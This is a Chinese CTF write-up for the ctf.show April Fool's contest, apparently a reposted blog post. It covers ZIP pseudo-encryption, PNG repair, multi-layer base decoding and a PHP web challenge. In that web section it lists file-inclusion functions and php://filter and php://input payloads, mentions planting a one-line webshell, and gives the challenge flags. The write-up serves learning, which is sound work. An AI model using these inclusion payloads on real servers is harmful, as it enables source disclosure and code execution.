我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctf.show 愚人杯

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctf.show 愚人杯

奇怪的压缩包

下载附件解压提示要密码

使用010editor打开,发现frFlags 和 deFlags 的值都被修改了,这就会造成压缩包的伪加密,

将它们都改回0。

 另存为一个文件再打开,没有密码提示了

 解压发现图片并不完整,反正高度并不够的,下面还有内容没有显示出来

 放入010editor,可以看到CRC也报错了,看来高度确实被修改了

 我们把高度修长

 另存为再打开

5oSa5Lq66lqC5b+r5LmQ77yB77yB77yB

应该是一段密文, 我尝试了很多密码解密但是并没有找到什么特别的信息

便再次用010editor打开看,又找到了一个key

eXVyZW5qaWU=

这个就很明显,是base64,解码得到 yurenjie

 继续加入密钥去尝试解密但是依旧没有得到什么特殊信息,不知道是什么加密。

因为当时侧重点在伪加密的那个压缩包解开的图片上去了,其实这张图片还隐藏了一个压缩包

密码就是图片结尾key的base64解码

用010editor打开后发现crc报错

 将高度修长 ,打开即可正常显示flag

 

哇库哇库2

附件也是一个加密的压缩包,在注释里找到了密码的提示

Σ(1/(n!))是一个特殊的级数,它的值就是e,保留十二位有效数字并四舍五入,结果为2.71828182846(注意这里要加上小数点)

可惜hint.png打开是坏的

拖进kali并没有发现什么

 

 尝试修复这张png图片,它的文件头格式就不对

PNG图像格式文件由文件署名和数据块组成
文件署名域:

8字节的PNG文件署名域用来识别该文件是不是PNG文件。

该域的值是:89 50 4E 47 0D 0A 1A 0A  (十六进制)

数据块:包括关键数据块和辅助数据块

每个数据块都由4个域组成:

Length(长度)

Chunk Type Code(数据块类型码)

Chunk Data(数据块实际内容)

CRC(循环冗余检测)

关键数据块:
文件头数据块IHDR
 它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件数据块。

文件头数据块包括:

Width

Height

Bit depth

ColorType

Compression method

Filter method

lnterlace methodl byte

调色板数据块PLTE:

它包含有与索引彩色图像相关的彩色变换数据,仅与索引彩色图像有关,而且要放在图像数据块之前。真彩色的PNG数据流也可以有调色板的数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。

结构如下:

颜色|字节|意义

Red        0=黑色,255=红
Green     0=黑色,255=绿色
Blue        0=黑色,255=蓝色

PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每个调色板信息有3个字节组成,因此调色板数据块包含的最大字节数为768,调色板的长度应该是3倍数,否则,这将是一个非法的调色板。

对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1..2..,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可超过2^4=16)否则,这将导致PNG图像不合法。

图像数据块IDAT:它存储实际的数据,即图像真正的数据信息,在数据流中可包含多个连续的图像数据块。

图像结束数据IEND:
它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细看PNG文件,我们会发现,文件的结尾12个字符看起来总是:
00 00 00 00 49 45 4E 44 AE 42 60 82

IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82.

除了表示数据块开始的IHDR必须放在最前面,表示PNG文件结束的IEND数据块放在最后面之外,其他数据块的存放顺序没有限制。

辅助数据块:

背景颜色数据块bkGD
2.基色和白色度数据块cHRM(所谓白色度是指当R=G=B=最大值时在显示器上产生的白色度)
3.图像透明数据块tRNS
4.物理像素尺寸数据块pHYs

除了开头,发现文件结尾处也被修改了

 分别对开头和结尾进行修正

 但是另存为后打开还是有问题

 什么都找不到...

 文本也并没有发现存在零宽隐写,由于hint图片没搞出来,对那段word也不知道方向

easy_base

将给的密文4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

放进随波逐流

发现这是一个base16编码,解码后得到

LEZVE3LDGJUHMZBTOQ2WIVRZPFNFONLGMFVEM3CYGJUGQVKIII2USU2FNBTFCPJ5

继续

 进行了base32解码,得到

Y3Rmc2hvd3t5dV9yZW5fajFlX2hhUHB5ISEhfQ==

这很明显是base64了,再次解码

 拿到flag

ctfshow{yu_ren_j1e_haPpy!!!}

 4、easy_checkin

将附件解压后放进IDL,找到main函数想进行反编译

报错了...我ida当时装错位置了那个32位的也没找到,我打算重装

 发现只启用了 NX(No eXecute,数据不可执行)保护机制

 5、easy_signin

发现 index.php 被重定向了,Location:/?img=ZmFjZS5wbmc=

curl 命令:用来请求 Web 服务器,它的名字就是客户端(client)的 URL 工具的意思

curl 默认是不进行重定向的,如果要进行重定向,需要加上-L参数

curl -L 网页地址

加上 -o 参数可以保存网页源代码到本地

curl -o  名字.txt  网页地址  -L

加上-i参数可以看到响应报文

curl -i 网页地址

还是不知道怎么处理这种被重定向的网页(错的,这里并没有被重定向,因为存在参数img)

 御剑也没有扫到什么

 

 这个里面的内容在kali保存后也没有找到相关东西

PHP伪协议...知识盲区 

随便给img传入一个值

报错,且发现存在file_get_contents()函数

文件包含时用PHP伪协议

可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file

show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen

eg:

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

php://input + [POST DATA]执行php代码

若有写入权限,写入一句话木马

构造这道题的payload

php://filter/read=convert.base64-encode/resource=index.php

查看源码,发现一段base64编码

UEQ5d2FIQUtMeW9LSXlBdEtpMGdZMjlrYVc1bk9pQjFkR1l0T0NBdEtpMEtJeUJBUVhWMGFHOXlPaUJvTVhoaENpTWdRRVJoZEdVNklDQWdNakF5TXkwd015MHlOeUF4TURvek1Eb3pNQW9qSUVCTVlYTjBJRTF2WkdsbWFXVmtJR0o1T2lBZ0lHZ3hlR0VLSXlCQVRHRnpkQ0JOYjJScFptbGxaQ0IwYVcxbE9pQXlNREl6TFRBekxUSTRJREV5T2pFMU9qTXpDaU1nUUdWdFlXbHNPaUJvTVhoaFFHTjBabVZ5TG1OdmJRb2pJRUJzYVc1ck9pQm9kSFJ3Y3pvdkwyTjBabVZ5TG1OdmJRb0tLaThLQ2lScGJXRm5aVDBrWDBkRlZGc25hVzFuSjEwN0Nnb2tabXhoWnlBOUlDSmpkR1p6YUc5M2V6Z3dPREkzT0RGbExXRTBNVEl0TkRCbE1TMWlNVGhoTFRnMk5XTTFOemRsTWpVNU1YMGlPd3BwWmlocGMzTmxkQ2drYVcxaFoyVXBLWHNLQ1NScGJXRm5aU0E5SUdKaGMyVTJORjlrWldOdlpHVW9KR2x0WVdkbEtUc0tDU1JrWVhSaElEMGdZbUZ6WlRZMFgyVnVZMjlrWlNobWFXeGxYMmRsZEY5amIyNTBaVzUwY3lna2FXMWhaMlVwS1RzS0NXVmphRzhnSWp4cGJXY2djM0pqUFNka1lYUmhPbWx0WVdkbEwzQnVaenRpWVhObE5qUXNKR1JoZEdFbkx6NGlPd3A5Wld4elpYc0tDU1JwYldGblpTQTlJR0poYzJVMk5GOWxibU52WkdVb0ltWmhZMlV1Y0c1bklpazdDZ2xvWldGa1pYSW9JbXh2WTJGMGFXOXVPaTgvYVcxblBTSXVKR2x0WVdkbEtUc0tmUW9LQ2dvSw==

进行base64解码

PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezgwODI3ODFlLWE0MTItNDBlMS1iMThhLTg2NWM1NzdlMjU5MX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK

二次base64解码

$image=$_GET['img'];

$flag = "ctfshow{8082781e-a412-40e1-b18a-865c577e2591}";
if(isset($image)){
    $image = base64_decode($image);
    $data = base64_encode(file_get_contents($image));
    echo "";
}else{
    $image = base64_encode("face.png");
    header("location:/?img=".$image);
}

拿到flag 

ctfshow{8082781e-a412-40e1-b18a-865c577e2591}

这里也可以直接将 index.php 进行base64编码后传给img

查看源码并对其进行base64解码得到flag


 

来源地址:https://blog.csdn.net/Myon5/article/details/129908594

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctf.show 愚人杯

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

【愚人节】TcaplusDB永不愚你

愚人节(别名:万愚节、幽默节,英文名:April Fool"s Day或All Fools" Day)是从19世纪开始在西方兴起流行的民间节日,日期在每年公历的4月1日。对于愚人节的起源有很多种说法:一种说法认为这一习俗源自印度的“诠俚节”。该节规定,每年三月
【愚人节】TcaplusDB永不愚你
2021-05-18

利用Python制作一个愚人节整蛊消息框

又到了一年一度的愚人节了,本文小编为大家准备了用Python语言制作的愚人节整蛊消息框,文中的示例代码讲解详细,感兴趣的小伙伴可以了解一下
2023-05-14

怎么用Python制作一个愚人节整蛊消息框

这篇文章主要讲解了“怎么用Python制作一个愚人节整蛊消息框”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么用Python制作一个愚人节整蛊消息框”吧!messageboxtkinter
2023-07-05

win8系统人在国外怎么看亚洲杯?

介绍设置windows8系统看亚洲杯,winxp的朋友想看亚洲杯可以点击这个教程 第一步、 1.在桌面,新建一个文本文件,然后把后缀名txt改为pbk 2.双击点开,然后选择工作区网络 3.把使用智能卡的勾去掉,然后点创建 4.点属性,填入
2022-06-04

2023第十四届蓝桥杯Java B组个人题解

💎蓝桥杯系列文章 欢迎大家阅读蓝桥杯文章专栏🍄🍄 🔥2023第十四届蓝桥杯模拟赛第二期个人题解(Java实现) 🔥2023第十四届蓝桥杯模拟赛第三期个人题
2023-08-17

人在国外,怎么用win8系统看国内亚洲杯?

这里主要是讲windows8系统的电脑怎么在国外怎么看国内亚洲杯 1.在桌面上新建一个文本,然后把后缀改为pbk,然后打开(没有后缀名的在文件夹选项里面设置)。 2.把新建文本打开,选择工作区网络。 3.在Internet地址上填写ν
2022-06-04

第十四届蓝桥杯模拟赛(第三期)Java组个人题解

第十四届蓝桥杯模拟赛(第三期)Java组个人题解 🌷 仰望天空,妳我亦是行人.✨ 🦄 个人主页——微风撞见云的博客🎐 🐳 《数据结构与算法》专栏的文章图文并茂ǹ
2023-08-17

2022美亚杯第八届中国电子数据取证大赛-个人赛write up详解

2022美亚杯第八届中国电子数据取证大赛-个人赛 更多网络安全CTF题目polarctf.com 本内容为我个人解题思路,有不同见解欢迎讨论。 检材文件下载链接:https://pan.baidu.com/s/1kg8FMeMaj6BIBm
2023-08-22

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录